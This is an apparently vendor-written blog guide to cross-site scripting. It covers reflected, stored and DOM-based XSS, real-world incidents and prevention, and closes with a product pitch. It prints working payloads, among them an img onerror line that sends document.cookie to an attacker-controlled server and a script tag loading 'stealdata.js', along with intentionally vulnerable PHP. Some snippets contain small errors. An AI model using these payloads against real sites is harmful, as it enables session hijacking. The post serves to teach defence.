leftArrow

All Blogs

Vulnerability

A Guide to Cross-Site Scripting (XSS): Everything You Need to Know

Updated Date: Aug 8, 2024
Cross Site Scripting (XSS) Guide

Quick Summary: Cross-site scripting (XSS) works by injecting bad scripts or code into the target web application. It allows attackers to gain unauthorized access to the infected digital asset. Keep on reading to get detailed insights into XSS, its real-life examples, and prevention measures. Get the best information to safeguard your digital landscape.

Imagine a scenario where you open a legitimate website and a malicious script load on your web browser. The script executes surreptitiously, captures your data, and forwards it to a bad actor. This is how an XSS attack works.

XSS is a common vulnerability that attackers often exploit to gain unauthorized access to users’ data. There are various methods to protect your web applications from these types of vulnerabilities including coding best practices and vulnerability scanning.

You can leverage an automated vulnerability scanner to discover such security weaknesses in your web applications before they reach production. This article provides an in-depth understanding of cross-site scripting and its types. Keep reading to know everything about XSS.

Detect Security Weaknesses and Prevent XSS Attack Most Accurately Scan to Secure

Table of Contents
  1. What is Cross Site Scripting?
  2. How Does Cross Site Scripting Occur?
  3. Types of Cross Site Scripting
  4. Real-World Examples of Cross-site Scripting Attacks
  5. What is the Impact of Cross-Site Scripting?
  6. How to Prevent XSS Attacks?
  7. In Conclusion

What is Cross Site Scripting?

Cross-Site Scripting Attack

In technical terms, cross site scripting or XSS is a kind of injection attack. It allows an attacker to inject malicious code into a legitimate web application that is executed when loaded onto a web browser. It involves exploiting the vulnerability on a web app or web server to deliver a harmful client-side script. It is among the most critical OWASP Top 10 vulnerabilities and falls under the Injection category.

Let’s understand this with an example, an internet user opens a URL of a legitimate web app that an attacker has manipulated with malicious code. Once the web app is loaded into the user's web browser, the malicious script also gets executed.

How Does Cross-Site Scripting Occur?

Attackers carry out cross-site scripting attacks by injecting malicious code in user-supplied input. Alternatively, they can modify a request to launch this attack. A web app vulnerable to cross-site scripting attacks will successfully execute malicious code in user input, resulting in compromised data or session cookies.

XSS occurs when:

  • A web app receives data from an untrusted source - most commonly a web request.
  • The data is added to dynamic content sent to a user without performing input validation.

The malicious content that a user’s web browser receives could be a segment of JavaScript, Flash, HTML, or any other type of executable code. Although there is a wide variety of attacks that can occur based on XSS, commonly, attackers transmit sensitive data like cookies to redirect users to a forged web page they control.

All in all, an attacker can manipulate a target web app or website to force it to return a malicious script to users. When the script executes in a user’s browser, the attacker gets access to users’ interactions with the web app or website, resulting in compromised data.

Types of Cross Site Scripting (XSS)

There are many techniques used for XSS attacks. These techniques allow attackers to use different approaches to execute this kind of attack and gain unauthorized access to the target application or system. Let’s go into the details of different XSS attack types below.

Reflected XSS

Non-persistent or reflected cross site scripting is the most common XSS type and is considered to be the simplest method. This type of attack works by inserting malicious scripts into the URL of a web page through the query parameter. It involves modifying the URL, that’s why it’s so simple.

The attacker will send this URL to an unsuspecting user through anonymous forum links, emails, and social media posts. Once a user follows this link by clicking it, the script gets executed. The script can capture user input, retrieve users’ personal information, and even manipulate the webpage.

Let’s understand this with an example. There is a URL for an HTML page:

http://testapp.com/search?q=sampletext

As per the URL, the user is searching for “sampletext” on the “testapp” website. The URL will generate the following HTML output:

<p>Search: sampletext</p>

If the web page sanitizes user input, it will consider the input as literal, otherwise if there is code in the input, it will get executed as follows:

http://testapp.com/search?q=<script>/* malicious code */</script>

Will output:

<p>Search: <script>/* malicious code* /</script></p>

So, the script will be executed by the web browser when interpreting the HTML page resulting in compromised data. Preventing such attacks requires you to ensure sanitization for user input. This will prevent arbitrary code from executing and take the script as literal instead of code.

Let us look at backend code to understand Reflected XSS from ground up:

Consider this code snippet, the application displays a string to the end user containing the item name and item category once they hit search. The web form in search.php takes user input and sends it to queryresult.php file:

code search.php

<form action="/queryresult.php" method="get" id="search">  <label for="item">What you are searching for:</label>  <input type="text" id="item" name="item">  <label for "category">From what category: </label>  <input type="text" id="category" name="category">  <button type="submit" form="query.php" value="search">Search</button>  </form>

The queryresult.php file parses the user input and displays it using the following vulnerable code:

code queryresult.php

(...)  $item=$_GET["item"];  $category=$_GET[“category”]  echo "&lt;h1>You searched for ".$name."from “.$category.”category.&lt;/h1.>";  (...)

The queryresult.php code fetches the values of item and category variables using HTTP GET method and displays them to the user without any input validation or sanitization.

The attack begins when the attacker creates the following URL:

http://www.insecure-ecommerce.com/queryresult.php?item=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%59%6f%75%20%68%61%76%65%20%62%65%65%6e%20%58%53%53%27%65%64%22%29%3c%2f%73%63%72%69%70%74%3e&category=payload

The payload values have been URL-encoded as an extra measure to bypass any firewall or filtering that may be present.

The long string of hex codes in this payload when url-decoded is the following content:

<script> alert("You have been XSS'ed") </script>

In the next step, the attacker crafts an email or text message and tries to get the victim to open the URL. Once the victim opens the URL, queryresult.php page opens and the browser interprets the following code:

html code

<h1>You searched for <script> alert("You have been XSS'ed”); </script> from payload category.</h1.>

The browser interprets <script> tag as JavaScript code and not as user input. As a result, it displays a pop-up alert saying You have been XSS'ed”. The victims of this attack will stop visiting the web application, fearing that the website is insecure and they will get hacked.

Perform a Thorough Web App Security Testing and Avoid Costly Data Breaches Do It Now

Persistent XSS

Persistent or stored cross site scripting is a kind of XSS attack that occurs by exploiting a vulnerability in the target web application or server. The attacker will discover a potential vulnerability that will allow them to inject malicious scripts. This script will send the data to the attacker when a user visits the web page.

Let’s understand this with an example of an eCommerce website with a vulnerability that allows HTML tags to be embedded into the comments. The attacker can add a comment with a malicious script like “80% discounts on popular brands. Check here <script src=”http://hackingsite.com/stealdata.js”>”

This comment becomes a permanent part of the website as it’s added to the database. Whenever any user visits the page, the script will be executed. The script will get fetched from an unknown host and is executed along with the legitimate website code.

This type of attack can hijack a user’s session by stealing cookies. It allows an attacker to masquerade as a real user and access sensitive user data like credit card information. You can leverage DAST tools to detect XSS vulnerabilities that lead to persistent XSS attacks.

Lets look at a detailed example to understand Persistent XSS:

Suppose an API endpoint that allows users to submit comments on an article. Once we query the endpoint with user_id and comment, the server stores the comments in a database and returns them when the comment is visited by a user.
The vulnerable code snippet would look like this:

php code

<?php  $user_id = $_POST[‘user_id’];  $comment = $_POST[‘comment’];  store_comment($comment, $author);  $comments = get_comments();  echo ($comments);  ?>

In the above code, $user_id and $comment variables are not sanitized in the frontend or the backend, instead, they are directly stored in the database. An attacker could craft a malicious comment that includes a script like below:

<img src=x onerror=this.src='http://192.168.0.20:9001/?'+document.cookie;>

In the above payload, we use the <img> tag with its src attribute set to x, which is not a valid image source. When the browser tries to load the image, the onerror event is triggered instead, and the javascript code inside is executed.

In this case, the javascript code sets the src attribute of the <img> element to a URL that includes the victim’s cookie as a parameter. The document.cookie property is a string that contains all the cookies associated with the current document.

The URL in the payload points to a web server controlled by the attacker (https://192.168.0.20:9001/), and the cookies are included as query parameters.

Once the payload is injected into the database, and whenever a user fetches the infected comment. The malicious payload would execute and send requests containing the session cookies to the attacker-controlled webserver.

Now the attacker can simply check the request logs of the attacker-controlled webserver and get the session cookies of users. This can later be escalated to a session hijacking attack if the attacker uses those cookies to impersonate the victim and obtain a valid authenticated session.

This is different from a reflected XSS because the payload is stored in the server and doesn't execute immediately unless the comment is fetched by some user. But it is also more severe as the malicious comment stays stored in the web server and can keep affecting users.

DOM-based XSS

DOM or Data Object Model is a representation of an HTML document into a tree structure. DOM-based cross site scripting is a kind of attack in which an attacker inserts malicious data into the DOM. Attackers can utilize this tactic to add a script to a web page that can help to steal data.

Server-side defense mechanisms can hardly protect against DOM-based XSS attacks because the payload is not executed by the server. These types of attacks occur when web applications don’t sanitize user input or JavaScript calls. However, you can minimize the potential risks with the best coding practices and advanced security testing with a reliable web app security scanner. These practices can help you protect web apps against such attacks.

Example of DOM-based cross-site scripting:

Before understanding the example of DOM-based XSS we need to look at the fundamentals.

Concept of DOM, Source and Sink:

DOM is an internal data structure that stores all of the objects and properties of a web page. Every tag used in HTML code represents a DOM object. DOM also contains information about properties such as page URLs and meta information.

Every DOM-based XSS has two elements: the source of user input called source and the target where this user input is injected called sink. Popular sources that attackers can manipulate are document.URL, document.documentURI, location.hash, location.pathname, location.href, location.search, location., window.name, and document.referrer. Popular sinks are document.write, (element).innerHTML, eval, setTimeout, setInterval, and execScript.

In a nutshell,

A source is a JavaScript property that contains data that an attacker could potentially control.

A sink is a DOM object or function that allows JavaScript code execution or HTML rendering.

Any application is vulnerable to DOM-based cross-site scripting if there is an executable path via which data can develop from source to sink.

Now let's consider a dashboard page in a web application, which retrieves a URL parameter to populate the user’s name.

html code

<HTML>(...)  <script>  var pos = document.URL.indexOf("username=")+9;  document.write(document.URL.substring(pos,document.URL.length));  </script>  (...)  </HTML>

The inline script looks for username= in the URL (document.URL.indexOf("username=")), takes all the text to the right of it (+9 means 9 characters to the right of the beginning of username=), and uses document.write to insert that text directly into HTML to be interpreted by the browser.

This page uses a URL parameter to input the user’s name, like this:

http://www.vulnerable.ecommerce/dashboard.html?username=allen

But a malicious user can inject JavaScript code into the request, like this:

http://www.vulnerable.ecommerce/dashboard.html?username=(document.cookie)

The attacker has now injected malicious code using source into the DOM of the webpage and it is displayed to the end user using sink.

So, instead of rendering the normal flow of webpage, the browser displays the cookies of the user in place of username.

Discover Vulnerabilities 5x Faster and Act Quickly to Protect Against All Cyber Risks Let’s Check

Real-World Examples of Cross-site Scripting Attacks

Cross-site scripting is one of the most common cyber security risks that have targeted many kinds of organizations including top companies. The following are XSS attack examples that have been lodged in history.

Fortnite

Fortnite, a popular online game platform faced an XSS vulnerability that caused data exposure for millions of users in 2019. There was an unsecured page that went unnoticed and allowed attackers to gain access to user information. The attackers could have done more damage by exploiting the XSS vulnerability in combination with insecure SSO to access the players’ conversations, steal virtual currency, and more. However, the security breach was reported by Check Point.

Yahoo

Yahoo’s email service was targeted by attackers in 2017 by exploiting a cross-site scripting vulnerability. The attackers utilized persistent XSS attacks to breach the data of millions of users. Emails with malicious JavaScript code were sent to users. The script would execute in the email client whenever users open the email. This vulnerability allowed attackers to gain unauthorized access to user accounts and their information.

WhatsApp

There was an XSS vulnerability in the popular messaging platform WhatsApp that was found by a researcher in 2020. This vulnerability was found in WhatsApp’s web client. By leveraging this vulnerability an attacker could send a specially composed message consisting of malicious code. This code was executed when affected users viewed the message. Attackers could take control of user accounts and access personal data with this vulnerability.

What is the Impact of a Cross-Site Scripting Attack?

XSS is a pesky security issue that can have a huge impact on the victims, depending on the magnitude of the attack. Typically, this kind of attack aims to steal sensitive information from users to commit financial fraud. Hence, unauthorized access, data theft, and data breach are common security issues with cross-site scripting.

By injecting code into a user’s machine, an attacker can exfiltrate data. In the worst case, an attacker can launch an APT (Advanced Persistent Threat) attack by installing malicious software on the victim’s machine. Such an attack enables attackers to gain unauthorized access to the machine for an extended period and remain undetected.

How to Prevent XSS Attacks?

There are drastic consequences of cross site scripting attacks that affect your organization’s reputation and cause financial loss. However, with the right preventive steps, you can mitigate the risks of XSS. Web app vulnerabilities like insecure input validation are reasons for such attacks. With the best practices for secure web app development, you can prevent this threat. Let’s see the preventive measures below.

Escape and Encode Data

Injection attacks occur by exploiting vulnerabilities that render HTML content without character escaping and encoding. In this case, an attacker can leverage this weakness to insert code that will be executed by the interpreter.

Escaping and encoding are effective techniques to prevent injection attacks. When rendering HTML content, special characters need to be encoded to ensure they are not misused. For example, you need to translate the “<” character into “&lt”.

Translating special characters into their harmless equivalents prevents arbitrary code from executing in the web browser with HTML. Character escaping is a technique in which a character or string is preceded by a special character to prevent misinterpretation.

For example, adding “\” before the character or string that needs to be escaped. It helps to avoid misinterpretation of HTML code and protects from malicious code.

HTML Sanitization

It is a process of removing HTML tags that are not considered safe and desired. Mostly, it involves removing components and scripts that could be harmful to an application’s security. HTML sanitization is crucial to prevent XSS attacks by eliminating the chance of executing an arbitrary code that an attacker might use and neutralizing a potential risk.

For example, in the HTML sanitization process, basic font tags like <b>, <em>, <strong>, <i>, etc, are allowed, but <script>, <link>, <object>, etc, are removed. Similarly, attributes like “onclick” are removed. As a result, the user-generated HTML has tags that are safe and don’t pose potential risks.

Input Validation and Sanitization

Proper input validation and sanitization is an effective defense against cyber security risks like cross site scripting. Attackers widely utilize input flaws for successful attacks. Dynamic application security testing can help detect input validation and sanitization vulnerabilities to prevent cross-site scripting attacks.

Input validation ensures that the inputs provided by users meet the specific constraints and policies. On the other hand, input sanitization involves stripping unsafe characters away from user inputs. For example, when a user provides inputs on a web form, it is checked to meet the expected data format and type.

Gain Insights into Cyber Risk of Your Digital Assets with a Single Click Act Now

In Conclusion

Cross-site scripting is a common vulnerability that attackers actively exploit to gain access to sensitive user data. As a responsible organization, you need the right measures to defend your applications against this vulnerability and prevent cyberattacks. Using a modern DAST tool can help you discover XSS vulnerabilities and mitigate the risk.

Regular vulnerability scanning is a robust measure to discover such risks and protect your applications from all kinds of threats. ZeroThreat is a next-gen DAST tool that you can use for security testing. Its advanced scanning capabilities will help you identify XSS and other OWASP Top 10 vulnerabilities.

It offers lots of advantages including 5x faster scanning speed, 98.9% accuracy, zero-false positives, and out-of-band threat detection. You can leverage AI-driven vulnerability scanning to detect complex and hard-to-detect vulnerabilities to protect you from all cybersecurity risks. Try ZeroThreat for $0 and experience the power.

Frequently Asked Questions

How to discover XSS (Cross-Site Scripting)?

There are two methods to discover XSS vulnerabilities – Manual Testing and Automated Testing. In a manual testing method, a tester will use specially crafted input to identify such vulnerability. The automated testing method includes using a DAST tool to scan web apps for XSS vulnerabilities. It is a fast, easy, and hassle-free method to discover vulnerabilities like XSS and more.

How to avoid XSS vulnerabilities?

Are XSS vulnerabilities very common?

How is XSS different from CSRF?

What are the differences between SQL injection and XSS?